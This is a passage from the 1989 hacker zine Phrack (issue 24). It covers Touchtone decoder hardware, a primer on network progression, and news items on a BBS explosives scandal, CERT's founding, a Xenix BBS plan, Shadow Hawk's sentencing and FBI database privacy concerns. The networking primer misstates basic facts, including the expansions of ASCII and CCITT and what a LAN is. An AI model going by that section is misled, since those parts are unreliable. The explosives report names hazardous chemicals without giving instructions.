In practice, many COs will accept dialing at substantially slower or faster rates, and often you will see a dial that has been speeded up by changing the mechanical governor to operate almost twice as fast; it depends on the type of CO equipment.

Touchtone decoding is usually done by filter circuits which separate out the Touchtone tones by filters and then use a transistor circuit to operate a relay. A common decoder is the 247B, which is designed for use in small dial switchboard systems of the type that would be installed on the premises of a business for local communication between extensions. It consists of a limiter amplifier, seven filters and relay drivers (one for each of the seven tones commonly used) and some timing and checking circuitry. Each of the seven relays has multiple contacts, which are then connected in various series/parallel combinations to provide a grounding of one of ten output contacts, when a digit is received. The standard 247B does not recognize the * and digits, but can be modified easily enough if you have the unit diagram.

The 247B decoder is not very selective, and can easily be triggered by voice unless some additional timing circuits are connected at the output to require that the relay closure exceed some minimum time interval before it is accepted. Slightly more complicated decoders which have the time delays built in are the A3‑type and the C‑type Touchtone Receivers. both of these are used in customer‑owned automatic switchboards when a caller from the outside (via the telephone company) wants to be able to dial directly into the private switchboard to call a specific extension.

The C‑type unit is similar to the 247B in that it has ten outputs one for each digit. The A3‑type does not have output relays, but instead has seven voltage outputs, one for each of the seven basic tones, for activating external 48‑volt relays. The A‑3 unit is ideal for activating a Touchtone encoder, which can then be used to regenerate the Touchtone digits if the original input is noisy. This might be very useful in a repeater autopatch, for cleaning up Touchtone digits before they are sent into the telephone system.

In addition to the above, there are probably other types of units specially designed for use in the CO, but information on these is not readily available. It is also fairly easy to build a Touchtone decoder from scratch. Though the standard telephone company decoders all use filter circuits, it is much easier (though perhaps not as reliable) to use NE567 phase‑locked‑loop integrated circuits.

An interesting sidelight to Touchtone operation is that it greatly speeds up the process of placing a call. With a Touchtone dial it is possible to dial a call perhaps 3 or 5 times faster than with a rotary dial. Since the CO equipment which receives and decodes the number is only needed on your line during the dialing time, this means that this equipment can be switched off your line sooner and can therefore handle more calls. In fact, the entire Touchtone system was invented so that CO operation would be streamlined and less equipment would be needed for handling calls. It is ironic that the customer should be charged extra for a service which not only costs the telephone company nothing, but even saves it money.

Another practice which may or may not cost the company money is the connection of privately‑owned extension phones. You have probably seen these sold by mail order houses and local stores. The telephone companies claim that connecting these phones to their lines robs them of revenue and also may cause damage to their equipment. There are others, of course, who hold the opinion that the easy availability of extensions only causes people to make more calls since they are more convenient, and that the companies really benefit from such use. The question of damage to equipment is also not easily answered, since most of the extension phones are directly compatible, and in many cases the same type as the telephone company itself uses. Be that as it may, this may be a good time to discuss such use.

Prior to an FCC decision to telephone company interconnection in the Carterfone case in 1968, all telephone companies claimed that the connection of any equipment to their lines was illegal. This was a slight misstatement as no specific laws against such use were on the books. Instead, each local telephone company had to file a tariff with the public service commission in that state, and one of the provisions of that tariff was that no connection of any external equipment was allowed. By its approval of that tariff, the public service commission gave a sort of implicit legal status to the prohibition.

In the Carterfone case, however, the FCC ruled that the connection of outside equipment had to be allowed. The phone companies then relaxed their tariff wording such that connection of outside equipment was allowed if this connection was through a connecting arrangement provided by the telephone company for the purpose of protecting its equipment from damage. Although this result has been challenged in several states, that seems to be the present status. The strange thing is that some telephone companies allow interconnection of customer equipment without any hassle whatsoever, while others really make things difficult for the customer.

Network Progression

==Phrack Inc.==

Volume Two, Issue 24, File 10 of 13

()()()()()()()()()()

()

() Network Progression ()

()

() by Dedicated Link ()

()

() January 1989 ()

()

()()()()()()()()()()

This file provides a general overview of how networks have progressed from phone lines to T1 lines.

There are numerous reasons to share networking facilities. The concept of networking is to optimize all the aspects of voice and data transmission, and to utilize all the amounts of space in the transmission lines.

Not long ago companies used AT&T's switching facilities for all local calls. This means use of the Centrex, which is the switching of local calls by AT&T (which is much more expensive than using your own switching facilities). Then the larger organizations started to put in PBXes (Private Branch Exchange) to enable them to switch local calls (class 5 ESS) without having anything to do with AT&T. The process of using a PBX (or a Computerized Branch Exchange CBX) is much more efficient if the phone traffic is high. This is the beginning of a Local Area Network (LAN). Once an organization has it's own LAN it can lease the extra transmission space to another company, because they are paying for it anyway. Another method of bypassing AT&T's service is to use a foreign exchange (FX) line. Which is a long distance dedicated point‑to‑point private line, which is paid for on a flat rate basis. A FX line can be purchased from AT&T or many other vendors. These private lines (PL) are used with voice and data transmissions. Data transmission must have a higher grade quality than voice because any minor break in the transmission can cause major, expensive errors in data information being processed.

One of the most optimum ways of transmitting data is a T1 line which transmits data at 1.544 megabits per second. Microwave, Satellite, and Fiber Optic systems are being used for data transmission. These methods multiplex several lines into one to create greater capacity of the transmission. A multiplexed line has 24 channels that can be divided into the appropriate space needed to utilize each transmission (i.e. a simple voice transmission which has about 300‑3000 Hz uses a small portion of the multiplexed line). There are two types of multiplexing; time‑division and frequency. Time‑division multiplexing divides the channels into separate time slots. Frequency‑division multiplexing separates the different channels with the use of different bandwidths. Typically, data is transmitted through digital systems rather than analog. However, all the state‑of‑the‑art equipment is now digital.

When the data is being processed from the computer to another computer there must be a standard protocol for communicating the interexchange within the network. The protocol is the set of rules that the computer says are necessary to have in order for the other computer to connect to it. This is the standard way of communicating (The American Standard Code for Interface Interexchange, ASCII). Also, there are encryption codes which are used for security reasons. Encryption codes can be scrambled on a hourly, daily, weekly, or monthly basis, depending on the level of security.

The information that is being sent is organized by packet switching. The most used packet switching is called X.25, and this is the interface that the CCITT (Comittee Consultif Interaction Telephonique & Telegraphique) recommends to use for connection between the Data Terminal Equipment (DTE) and the Data Circuit‑terminating Equipment (DCE).

Within this network it is crucial that there is software providing Automatic Route Selection (ARS). There must be an ARS (the least cost path length) programmed within the transmission. It is the job of the system analyst or operator to assign the proper cost of each path where the transmission goes in order for the packet to go through it's least cost route (LCR).

The packet travels through a path from it's source to it's final destination. The system analyst or operator must have full knowledge of the exact path length, the exact alternative path length, plus the exact third alternative path length. The path length is measured in hops, which equals to the number of circuits between central nodes. The system manager must set a maximum value of hops at which the path can never exceed. This is the actual circuit cost which is assigned to each possible path. It is important that the system manager has knowledge of the circuit costs in order for the ARS to be programmed effectively.

These are just some of the basics that are involved in transmitting information over a network. I hope it helped you lots!

Phrack World News XXIV

==Phrack Inc.==

Volume Two, Issue 24, File 11 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIV/Part 1 PWN

PWN PWN

PWN February 25, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Time And Time Again

~~~~~~~~~~~~~~~~~~~

Greetings to everyone! This issue of Phrack Inc. marks the completion of the plan I had conceived a little more than one year ago ‑‑ "The Phoenix Project." No, not the bulletin board run by The Mentor (although the name of the board came from this plan), my scheme to rebuild the hacking community from its remaining ashes of the "Crisis of 1987." My plan had several parts that needed to come together.

‑ Announce the plan and pour lots of hype into it to spur great enthusiasm. ‑ Hold SummerCon '88 in St. Louis, Missouri to get today's hackers to meet. ‑ Regain control of Phrack Inc. and put it back on its feet.

‑ Release the Vicious Circle Trilogy to expose and defeat our security problems.

‑ Bring today's hackers into the next Millennium with The Future Transcendent Saga (which helps to unite yesterday's hackers with the present).

And now...

Announcing The 3rd Annual...

SummerCon '89

~~~~~~~

Saint Louis, Missouri

July 23‑25, 1989

The date is a tentative one, but I would imagine that it will not change. For more information please contact Taran King or Knight Lightning.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

On the lighter side, this issue of Phrack World News contains articles dealing with Shadow Hawk, The Disk Jockey, Compaq, the FBI "Super" Database, the Australian‑American Hackers Ring, Computer Emergency Response Team, StarLink, The Xenix Project, The Lost City of Atlantis, The Beehive BBS, and much more. So read it and enjoy.

For any questions, comments, submissions of articles, or whatever, I can be reached at C483307@UMCVMB.MISSOURI.EDU or C483307@UMCVMB.BITNET or whatever bulletin board you can find me on.

:Knight Lightning

________________________________________

Explosives Expertise Found In Computer January 5, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Matt Neufeld (The Washington Times)

One of the four Bethesda youths killed in an explosion in the garage at the home of the Brazilian Embassy's attache last weekend had access to a local computer system's how‑to listing of bombs and explosives, according to a system member.

"He was highly involved with computers," said the computer operator of the 18‑year‑old Dov Fischman, one of the teens killed by the explosion. "Dov used to go over to my friend's house," where they discussed various types of software and computer systems, he said.

Located within an elaborate computer system of about 200 private bulletin boards is a board titled "The Lost City of Atlantis" that contains files under the following names: "Pipe Bombs," Gas Tank Bombs," "Make Smoke Bombs," "Soda Bombs," "Explosive Info," "Kitchen Improvised Plastic Explosives," and "Plastic Explosives," according to system files reviewed yesterday by the Washington Times.

Details on committing mischief and various illegal activities fill the files of Atlantis and other boards in the system. The Atlantis board is listed under the heading, "The Rules of Anarchy."

The files on Atlantis, which is run locally, but could be accessed by computer owners nationwide, include information and correspondence on how to buy various chemicals and and explosives used to make bombs. Other files have explanations on how to use these materials to fashion the bombs.

"Some or all of you reading this may have caught word from the grapevine that I sell laboratory materials and/or chemicals," begins one message from a system worker who operates under the pseudonym "The Pyromaniac."

"I can get for you almost any substance you would want or need," the message says later. "Always remember that I am flexible; Your parents need not know about the chemicals."

Mr. Fischman and the other teens have been described by friends and relatives as highly intelligent, hard‑working honor students. They were killed about 3:15 a.m. Saturday in an explosion at the home of attache Vera Machado in the 6200 block of Verne Street. A Montgomery County Police investigation determined the cause was accidental and caused by the youths "experimenting with some type of explosive."

Nitrates, peroxides and carbonates were found at Mr. Fischman's home, along with literature on "resources for chemicals and appliances and recipes utilized for explosive devices," said fire marshal's spokesman Mike Hall. "The exact nature of resources and recipes has not been disclosed by the investigative section, as the investigation is going on."

"I have no knowledge that any computer system information was used," but that possibility will be investigated, Mr. Hall said. Mr. Fischman's father, Joel, yesterday said his son and the other three youths were involved with computers. But he said he was not aware of any connection between computers and the explosion. He referred further questions to the police.

The local computer system operator said most users are 15 to 19 years old. The operator, however, said it is common for users of the system to peruse the files while their parents have no knowledge of the contents.

The boards and files are legal, and the bomb information is primarily confined to "private" bulletin boards created by persons known as "system operators."

However, anyone with a home computer, a telephone and a modem can hook up to the bulletin boards if they gain approval of the individual operators, the operator said.

"I think this should be allowed, but not just for any kids," said the operator, who is an adult. He said it's "really the parents' fault" for not supervising their children's computer access.

Another board in the system, "Warp Speed," also provides information on explosives. That board was shut down sometime between December 30, 1988 and January 1, 1989 the operator said. That board is "host" to "Damage, Inc.," which is a "group of people who concentrate on explosives, things to screw people up, damage," he said.

In the "Beehive" board the following message appears from "Mister Fusion:"

"low cost explosives are no problem. make them yourself. what do you want rdx? detonators, low explosives? high explosives? i can tell you what to do for some, but I would reccomend (sic) cia black books 1‑3."

Other boards and files in the system include information on computer hacking, constructing a device to jam police radar detectors, picking locks, and "phreaking," which is computer jargon for using computers to make free telephone calls.

Some of these files are: "Making LSD," "Listing of common household chemicals," "Info on Barbiturates," "Make a mini‑flame thrower," How to make a land mine," "How to Hot Wire a car," "Home Defense: part II, guns or friends," "How to have fun with someone else's car," "Fun! with Random Senseless Violence," "Picking up little girls," and "How to break into a house."

"A lot of the information is wrong, in the phreaker world, regarding ways to defeat the telephone company," said the operator, who has been involved with computers for at least six years. "But the bomb information is pretty much accurate."

In the two page, "High Explosives" file, there are detailed explanations on how to use the chemicals cacodyal, tetryl and mercury fulminate.

"This stuff is awesome," begins the section on cacodyal. "It is possesses flammability when exposed to air. Plus it will release a cloud of thick white smoke. The smoke just happens to be arsenic."

The file does offer this warning at the end: "Don't attempt to make these things unless you are experienced in handling chemicals. They can be very dangerous if not handled properly."

The "Kitchen Improvised Plastic Explosives" file, which instructs users on "how to make plastique from bleach" and is credited to a Tim Lewis, warns that the chemicals are dangerous."

________________________________________

Computer Emergency Response Team (CERT) January 23, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Excerpted from UNIX Today

WASHINGTON ‑‑ The federal government's newly formed Computer Emergency Response Team (CERT) is hoping to sign up 100 technical experts to aid in its battle against computer viruses.

CERT, formed last month by the Department of Defense's Advanced Research Project Agency (DARPA), expects to sign volunteers from federal, military, and civilian agencies to act as advisors to users facing possible network invasion.

DARPA hopes to sign people from the National Institute of Science and Technology, the National Security Agency, the Software Engineering Institute, and other government‑funded university laboratories, and even the FBI.

The standing team of UNIX security experts will replace an ad hoc group pulled together by the Pentagon last November to deal with the infection of UNIX systems allegedly brought on by Robert Morris Jr., a government spokesman said.

CERT's charter will also include an outreach program to help educate users about what they can do the prevent security lapses, according to Susan Duncal, a spokeswoman for CERT. The group is expected to produce a "security audit" checklist to which users can refer when assessing their network vulnerability. The group is also expected to focus on repairing security lapses that exist in current UNIX software.

To contact CERT, call the Software Engineering Institute at Carnegie‑Mellon University in Pittsburgh at (412) 268‑7090; or use the Arpanet mailbox address cert@sei.cmu.edu.

________________________________________

The Xenix Project aka The Phoenix Project Phase II January 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There are some big changes in store for everyone's favorite bulletin board.

As of January 25, 1989, The Mentor became the proud owner of the complete SCO Xenix system, complete with the development kit and text utilities (a $1200 investment, but worth it). He has arranged for a UUCP mail and USENET newsfeed, and is working on getting bulletin board software up and running on it.

So what does this mean to you? As I have been illustrating throughout The Future Transcendent Saga and a few other files/places, the future lies in the wide area networks. So now for the first time ever, The Mentor is offering the hackers a cheap, *LEGAL* way to access the gigabytes of information available through USENET. Mail can be sent through BITNET, MILNET, ARPANET, and INTERNET gateways to users all over the world. In short, connectivity has arrived and the future grows ever closer.

The first thing that The Mentor wants to do is get a second hard disk drive. There is no way the Xenix Project can run right now without it. His 40 meg has a 20 meg Xenix partition, 17 megs of which is occupied by the /root/ file system. The MS‑DOS partition has 12 megs of the board, plus all the programs he needs to exist (Pagemaker, Word, Microsoft C, Brief, etc). A *MINIMUM* of a 60 meg drive will be needed to support the newsfeed (USENET generated 50 megs of traffic in the last 2 weeks). A 100+ meg drive would be better. Once a hard disk is obtained, the system will go online as a single‑line UNIX machine. Hopefully, enough money will be generated to add a second phone line and modem quickly. At this point the system will begin to take off.

The Mentor's eventual goal (inside 6 months) is to have 4‑6 300‑2400 baud lines available for dialin on a hunt group, plus a 19.2Kbaud line for getting the USENET feed. The estimated startup cost for a 5‑line system is:

110 meg hard disk........................ $1000

4 2400 baud modems (I've got 1 already).. $ 525 Installation of 4 phone lines............ $ 450

MultiPort Serial Card.................... $ 300

SCO Xenix Software....................... $1200

3475

Financing is a problem. The Mentor has already sunk the $1200 into the Xenix package (plus his original purchase of the computer system), leaving him $2200 away from the best hacker system in the world. There are two ways that he hopes on getting the money for the rest of the system.

A) Donations ‑ Many users have already indicated that they will send in anywhere from $10 to $100. Surprisingly enough, the security people on The Phoenix Project have been extremely generous. There *is* an incentive to donate, as will be shown below. B) Monthly fees ‑ There will be a $5‑$12.50 charge per month to use the UNIX side of the system, but the Phoenix Project BBS will remain free! Here is how it works:

Level 1 ‑ BBS Only. Anyone who wishes to use only The Phoenix Project will call and log in to account name 'bbs.' They will be forced into the BBS software, at which point they will log in as usual. As far as they're concerned, this is just a change of software with the addition of the front end password 'bbs.'

Level 2 ‑ Individual Mail & News account. For $5 a month, a user will get their own private account with full access to UUCP mail and USENET news. They will be able to send mail all over the world and to read and post to the hundreds of USENET newsgroups. Legally, for a change!

Level 3 ‑ Individual Mail, News, Games, and Chat. The user will have all the privileges of a Level 2 person, be able to access games such as Rogue, Chase, and Greed, plus will have access to the multi‑user chat system similar to the one running on Altos in West Germany, allowing real‑time conferencing between hackers here in the states without having to have an NUI to get to Datex‑P. This will cost $10 per month.

Level 4 ‑ Full Bourne Shell access. This will allow access to the full system, including the C compiler, text utilities, and will include access to the online laser printer for printing term papers, important documents, or anything else (mailing will incur a small fee.) Level 4 access will be restricted to people technically sophisticated enough to know how to use and how not to use UNIX compilers. The entire Xenix Development System and Text Processing Utilities are installed, including online manual pages. I will aid people in debugging and testing code whenever needed. Charge is $12.50 per month.

C) Why Donate? ‑ Simple. You get a price break. Here are the charter membership categories:

Contributing: $20 You receive 6 months of Level 2 access, a $10 savings over the monthly fees.

Supporting: $45 You receive either 1 year of Level 2 access or 6 months of Level 3 access.

Sustaining: $75 You receive 1 year of Level 3 access, or life time level 2 access.

Lifetime: $100 You receive lifetime Level 4 access. Contributions in amounts less than $20 will be directly applied toward Level 2 access (e.g. A $10 donation will give you 2 months Level 2 access).

Hardware contributions will definitely be accepted in return for access. Contact me and we'll cut a deal.

Information Provided by The Mentor

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

A Few Notes From The Mentor

~~~~~~~~~~~~~~~~~~~~~~~~~~~

People ‑‑ I am not trying to make a profit off of this. If I could afford the hardware I'd buy it. The Phoenix Project has been committed to bringing you the best in hack/phreak information available, and will continue to do so FREE.

I stress, even after the switch is made, The Phoenix Project BBS will be available under a un‑pass‑worded login that anyone can log into and use. It's only if you want to enter the world of networks in a *LEGAL* manner that I need to get money .

The system will expand as interest in it expands. If I never get enough paid users to add more than one line, it will remain a one‑line system. I think enough people will see the advantages of UUCP and USENET to be willing to shell out the cost of a 6‑pack of good beer to get access.

As a side note to UNIX hacks out there, this system will also offer a good place to explore your UNIX hacking techniques. Unlike other systems that penalize you for breaking security, I will reward people who find holes in my security. While this will mostly only apply to Level 4 people (the only ones not in a restricted shell), 3‑6 months of free access will be given to people discovering security loopholes. So if you've ever wanted an unrestricted environment for learning/perfecting your UNIX, this is it!

For more information, I can be reached at:

The Phoenix Project: 512‑441‑3088

Shadowkeep II: 512‑929‑7002

Hacker's Den 88: 718‑358‑9209

Donations can be sent to: Loyd

PO Box 8500‑615 San Marcos, TX 78666 (make all checks payable to Loyd)

+++The Mentor+++

"The Future is Forever!"

________________________________________

Breaking Into Computers Is A Crime, Pure And Simple December 4, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Edward A Parrish Jr., Past President, IEEE Computer Society Originally printed in Los Angeles Times

During the last few years, much has been written to publicize the feats of computer hackers. There was, for example, the popular movie War Games, about a teen‑ager who, using his home computer, was able to tap into a military computer network and play games with the heart of the system. The games got of control when he chose to play "thermonuclear war." The teen‑ager, who was depicted with innocent motives, eventually played a crucial role in solving the problem and averting a real nuclear exchange, in the process emerging as hero.

A real‑life example in early November involved a so‑called computer virus (a self‑replicating program spread over computer networks and other media as a prank or act of vandalism), which nearly paralyzed 6,000 military and academic computers.

Unfortunately, perhaps because the effect of such "pranks" seems remote to most people, it is tempting to view the hacker as something of a folk hero ‑ a lone individual who, armed with only his own ingenuity, is able to thwart the system. Not enough attention is paid to the real damage that such people can do. But consider the consequences of a similar "prank" perpetrated on our air‑traffic control system, or a regional banking system, or a hospital information system. The incident in which an electronic intruder broke into an unclassified Pentagon computer network, altering or destroying some files, caused potentially serious damage.

We do not really know the full effect of the November virus incident that brought many computers on the Cornell‑Stanford network to a halt, but credible published estimates of the cost in man‑hours and computer time have been in the millions of dollars. The vast majority of professional computer scientists and engineers who design, develop, and use these sophisticated networks are dismayed by this total disregard of ethical practice and forfeiture of professional integrity.

Ironically, these hackers are perhaps driven by the same need to explore, to test technical limits that motivates computer professionals; they decompose problems, develop an understanding of them and then overcome them. But apparently not all hackers recognize the difference between penetrating the technical secrets of their own computer and penetrating a network of computers that belong to others. And therein lies a key distinction between a computer professional and someone who knows a lot about computers.

Clearly a technical degree is no guarantee of ethical behavior. And hackers are not the only ones who abuse the power inherent in their knowledge. What, then, can we do?

For one thing, we ‑ the public at large ‑ can raise our own consciousness; Specifically, when someone tampers with someone else's data or programs, however clever the method, we all need to recognize that such an act is at best irresponsible and very likely criminal. That the offender feels no remorse, or that the virus had unintended consequences, does not change the essential lawlessness of the act, which is in effect breaking‑and‑entering. And asserting that the act had a salutary outcome, since it lead to stronger safeguards, has no more validity than if the same argument were advanced in defense of any crime. If after experiencing a burglary I purchase a burglar alarm for my house, does that excuse the burglar? Of course not. Any such act should be vigorously prosecuted.

On another front, professional societies such as the IEEE Computer Society can take such steps to expel, suspend, or censure as appropriate any member found guilty of such conduct. Finally, accrediting agencies, such as the Computing Sciences Accreditation Board and the Accreditation Board for Engineering and Technology, should more vigorously pursue their standards, which provide for appropriate coverage of ethical and professional conduct in university computer science and computer engineering curriculums.

We are well into the information age, a time when the computer is at least as vital to our national health, safety and survival as any other single resource. The public must insist on measures for ensuring computer security to the same degree as other technologies that are critical to its health and safety.

Phrack World News XXIV

==Phrack Inc.==

Volume Two, Issue 24, File 12 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIV/Part 2 PWN

PWN PWN

PWN February 25, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Shadow Hawk Gets Prison Term February 17, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

An 18 year old telephone phreak from the northside/Rogers Park community in Chicago who electronically broke into U.S. military computers and AT&T computers, stealing 55 programs was sentenced to nine months in prison on Tuesday, February 14, 1989 in Federal District Court in Chicago.

Herbert Zinn, Jr., who lives with his parents on North Artesian Avenue in Chicago was found guilty of violating the Computer Fraud and Abuse Act of 1986 by Judge Paul E. Plunkett. In addition to a prison term, Zinn must pay a $10,000 fine, and serve two and a half years of federal probation when released from prison.

United States Attorney Anton R. Valukas said, "The Zinn case will serve to demonstrate the direction we are going to go with these cases in the future. Our intention is to prosecute aggressively. What we undertook is to address the problem of unauthorized computer intrusion, an all‑too‑common problem that is difficult to uncover and difficult to prosecute..."

Zinn, a dropout from Mather High School in Chicago was 16‑17 years old at the time he committed the intrusions, using his home computer and modem. Using the handle "Shadow Hawk," Zinn broke into a Bell Labs computer in Naperville, IL; an AT&T computer in Burlington, NC; and an AT&T computer at Robbins Air Force Base, GA. No classified material was obtained, but the government views as 'highly sensitive' the programs stolen from a computer used by NATO which is tied into the U.S. missile command. In addition, Zinn made unlawful access to a a computer at an IBM facility in Rye, NY, and into computers of Illinois Bell Telephone Company and Rochester Telephone Company, Rochester, NY.

Assistant United States Attorney William Cook said that Zinn obtained access to the AT&T/Illinois Bell computers from computer bulletin board systems, which he described as "...just high‑tech street gangs." During his bench trial during January, Zinn spoke in his own defense, saying that he took the programs to educate himself, and not to sell them or share them with other phreaks. The programs stolen included very complex software relating to computer design and artificial intelligence. Also stolen was software used by the BOC's (Bell Operating Companies) for billing and accounting on long distance telephone calls.

The Shadow Hawk ‑‑ that is, Herbert Zinn, Jr. ‑‑ operated undetected for at least a few months in 1986‑87, but his undoing came when his urge to brag about his exploits got the best of him. It seems to be the nature of phreaks and hackers that they have to tell others what they are doing. On a BBS notorious for its phreak/pirate messages, Shadow Hawk provided passwords, telephone numbers and technical details of trapdoors he had built into computer systems, including the machine at Bell Labs in Naperville.

What Shadow Hawk did not realize was that employees of AT&T and Illinois Bell love to use that BBS also; and read the messages others have written. Security representatives from IBT and AT&T began reading Shadow Hawk's comments regularly; but they never were able to positively identify him. Shadow Hawk repeatedly made boasts about how he would "shut down AT&T's public switched network." Now AT&T became even more eager to locate him. When Zinn finally discussed the trapdoor he had built into the Naperville computer, AT&T decided to build one of their own for him in return; and within a few days he had fallen into it. Once he was logged into the system, it became a simple matter to trace the telephone call; and they found its origin in the basement of the Zinn family home on North Artesian Street in Chicago, where Herb, Jr. was busy at work with his modem and computer.

Rather than move immediately, with possibly not enough evidence for a good, solid conviction, everyone gave Herb enough rope to hang himself. For over two months, all calls from his telephone were carefully audited. His illicit activities on computers throughout the United States were noted, and logs were kept. Security representatives from Sprint made available notes from their investigation of his calls on their network. Finally the "big day" arrived, and the Zinn residence was raided by FBI agents, AT&T/IBT security representatives and Chicago Police detectives used for backup. At the time of the raid, three computers, various modems and other computer peripheral devices were confiscated. The raid, in September, 1987, brought a crude stop to Zinn's phreaking activities. The resulting newspaper stories brought humiliation and mortification to Zinn's parents; both well‑known and respected residents of the Rogers Park neighborhood. At the time of the younger Zinn's arrest, his father spoke with authorities, saying, "Such a good boy! And so intelligent with computers!"

It all came to an end Tuesday morning in Judge Plunkett's courtroom in Chicago, when the judge imposed sentence, placing Zinn in the custody of the Attorney General or his authorized representative for a period of nine months; to be followed by two and a half years federal probation and a $10,000 fine. The judge noted in imposing sentence that, "...perhaps this example will defer others who would make unauthorized entry into computer systems." Accepting the government's claims that Zinn was "simply a burglar; an electronic one... a member of a high‑tech street gang," Plunkett added that he hoped Zinn would learn a lesson from this brush with the law, and begin channeling his expert computer ability into legal outlets. The judge also encouraged Zinn to complete his high school education, and "become a contributing member of society instead of what you are now, sir..."

Because Zinn agreed to cooperate with the government at his trial, and at any time in the future when he is requested to do so, the government made no recommendation to the court regarding sentencing. Zinn's attorney asked the court for leniency and a term of probation, but Judge Plunkett felt some incarceration was appropriate. Zinn could have been incarcerated until he reaches the age of 21.

His parents left the courtroom Tuesday with a great sadness. When asked to discuss their son, they said they preferred to make no comment.

Information Collected From Various Sources

________________________________________

FBI National Crime Information Center Data Bank February 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Evelyn Richards (Washington Post)

"Proposed FBI Crime Computer System Raises Questions on Accuracy, Privacy ‑Report Warns of Potential Risk Data Bank Poses to Civil Liberties"

On a Saturday afternoon just before Christmas last year, U.S. Customs officials at Los Angeles International Airport scored a "hit."

Running the typical computer checks of passengers debarking a Trans World Airlines flight from London, they discovered Richard Lawrence Sklar, a fugitive wanted for his part in an Arizona real estate scam.

As their guidelines require, Customs confirmed all the particulars about Sklar with officials in Arizona ‑ his birth date, height, weight, eye and hair color matched those of the wanted man.

Sklar's capture exemplified perfectly the power of computerized crime fighting. Authorities thousands of miles away from a crime scene can almost instantly identify and nab a wanted person.

There was only one problem with the Sklar case: He was the wrong man. The 58‑year old passenger ‑ who spent the next two days being strip‑searched, herded from one holding pen to another and handcuffed to gang members and other violent offenders ‑ was a political science professor at the University of California at Los Angeles.

After being fingered three times in the past dozen years for the financial trickeries of an impostor, Sklar is demanding that the FBI, whose computer scored the latest hit, set its electronic records straight. "Until this person is caught, I am likely to be victimized by another warrant," Sklar said.

Nowhere are the benefits and drawbacks of computerization more apparent than at the FBI, which is concluding a six‑year study on how to improve its National Crime Information Center, a vast computer network that already links 64,000 law enforcement agencies with data banks of 19 million crime‑related records.

Although top FBI officials have not signed off on the proposal, the current version would let authorities transmit more detailed information and draw on a vastly expanded array of criminal records. It would enable, for example, storage and electronic transmission of fingerprints, photos, tattoos and other physical attributes that might prevent a mistaken arrest. Though controversial, FBI officials have recommended that it include a data bank containing names of suspects who have not been charged with a crime.

The proposed system, however, already has enraged computer scientists and privacy experts who warn in a report that the system would pose a "potentially serious risk to privacy and civil liberties." The report, prepared for the House subcommittee on civil and constitutional rights, also contends that the proposed $40 million overhaul would not correct accuracy problems or assure that records are secure.

Mostly because of such criticism, the FBI's revamped proposal for a new system, known as the NCIC 2000 plan, is a skeleton of the capabilities first suggested by law enforcement officials. Many of their ideas have been pared back, either for reasons of practicality or privacy.

"Technical possibility should not be the same thing as permissible policy," said Marc Rotenberg, an editor of the report and Washington liaison for Computer Professionals for Social Responsibility, a California organization. The need to make that tradeoff ‑ to weigh the benefits of technological advances against the less obvious drawbacks ‑ is becoming more apparent as nationwide computer links become the blood vessels of a high‑tech society.

Keeping technology under control requires users to double‑check the accuracy of the stored data and sometimes resort told‑fashioned paper records or face‑to‑face contact for confirmation. Errors have plagued the NCIC for many years, but an extensive effort to improve record‑keeping has significantly reduced the problem, the FBI said.

Tapped by federal, state and local agencies, the existing FBI system juggles about 10 inquiries a second from people seeking records on wanted persons, stolen vehicles and property, and criminal histories, among other things. Using the current system, for example, a police officer making a traffic stop can fine out within seconds whether the individual is wanted anywhere else in the United States, or an investigator culling through a list of suspects can peruse past records.

At one point, the FBI computer of the future was envisioned as having links to a raft of other data bases, including credit records and those kept by the Immigration and Naturalization Service, the Internal Revenue Service, the Social Security Administration and the Securities and Exchange Commission. One by one, review panels have scaled back that plan.

"There's a lot of sensitive information in those data bases," said Lt. Stanley Michaleski, head of records for the Montgomery County [Maryland] police. "I'm not going to tell you that cops aren't going to misuse the information."

The most controversial portion of the planned system would be a major expansion to include information on criminal suspects ‑ whose guilt has not yet been established.

The proposed system would include names of persons under investigation in murder, kidnapping or narcotics cases. It would include a so‑called "silent hit" feature: An officer in Texas, for instance, would not know that the individual he stopped for speeding was a suspect for murder in Virginia. But when the Virginia investigators flipped on their computer the next morning, it would notify them of the Texas stop. To Michaleski, the proposal sounded like "a great idea. Information is the name of the game." But the "tracking" ability has angered critics.

"That [data base] could be enlarged into all sorts of threats ‑ suspected communists, suspected associates of homosexuals. There is no end once you start," said Rep. Don Edwards (D‑Calif.), whose subcommittee called for the report on the FBI's system.

The FBI's chief of technical services, William Bayse, defends the proposed files, saying they would help catch criminals while containing only carefully screened names. "The rationale is these guys are subjects of investigations, and they met a certain guideline," he said.

So controversial is the suspect file that FBI Director William Sessions reportedly may not include it when he publicly presents his plan for a new system.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

A case similar to Sklar's was that of Terry Dean Rogan, who was arrested five times because of outstanding warrants caused by someone else masquerading as him. He finally settled for $50,000 in damages.

________________________________________

Legal Clamp‑Down On Australian Hackers February 14, 1989

